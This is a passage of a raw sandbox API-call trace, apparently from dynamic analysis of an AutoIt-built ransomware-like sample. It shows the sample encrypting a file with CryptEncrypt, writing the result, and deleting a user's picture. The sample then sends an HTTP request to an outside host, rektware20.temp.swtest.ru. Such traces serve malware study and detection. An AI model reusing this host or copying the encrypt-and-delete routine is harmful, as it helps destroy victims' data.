17 [0061.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.044] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.044] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.044] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.044] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.044] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.044] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.044] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.044] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.044] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.045] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.045] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.045] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.045] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.045] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.045] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.045] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621840, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.046] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.046] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x9e94, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x9ea0) returned 1 [0061.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.046] CharLowerBuffW (in: lpsz="byte[40609]", cchLength=0xb | out: lpsz="byte[40609]") returned 0xb [0061.046] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.048] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621b70, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.048] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.048] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f4860*, pdwDataLen=0x130e618*=0x9e94, dwBufLen=0x9ea0 | out: pbData=0x17f4860*, pdwDataLen=0x130e618*=0x9ea0) returned 1 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.049] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.049] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.049] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.049] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.049] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.049] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.049] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.049] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.049] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.051] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.051] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.051] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.052] WriteFile (in: hFile=0x2ac, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x9ea0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x9ea0, lpOverlapped=0x0) returned 1 [0061.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.062] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.062] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.062] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.062] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.062] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.062] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.063] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.063] CryptDestroyKey (hKey=0x164c430) returned 1 [0061.063] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.063] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.063] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.063] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.063] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.063] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.063] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.063] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.063] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.064] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.064] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.064] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.064] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.064] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.064] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.064] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.065] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.065] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.065] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.065] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.065] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.065] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.065] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.065] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.065] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.065] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.065] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.066] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.066] CryptReleaseContext (hProv=0x17a9e78, dwFlags=0x0) returned 1 [0061.066] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.066] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.066] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.066] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.066] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.066] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.066] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.066] CloseHandle (hObject=0x3bc) returned 1 [0061.070] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.070] CloseHandle (hObject=0x2ac) returned 1 [0061.089] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.089] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.090] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", lpFilePart=0x0) returned 0x4e [0061.090] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\1s3unqm4lxbl.png")) returned 0x20 [0061.090] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c930 [0061.090] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\1S3Unqm4LxBl.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\ccploc5jnnq\\z4jy f_\\1s3unqm4lxbl.png")) returned 1 [0061.092] FindNextFileW (in: hFindFile=0x164c930, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.093] FindClose (in: hFindFile=0x164c930 | out: hFindFile=0x164c930) returned 1 [0061.093] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.093] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.093] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.093] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.093] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\ccPLOC5JnNq\\z4Jy f_\\7kRkNo4Q3fZy.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.093] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.093] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.094] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.094] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.094] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.094] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.094] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0061.094] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.094] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.094] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.118] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.118] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.118] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.118] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.119] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.119] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.119] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.119] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.119] CloseHandle (hObject=0x0) returned 0 [0061.119] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 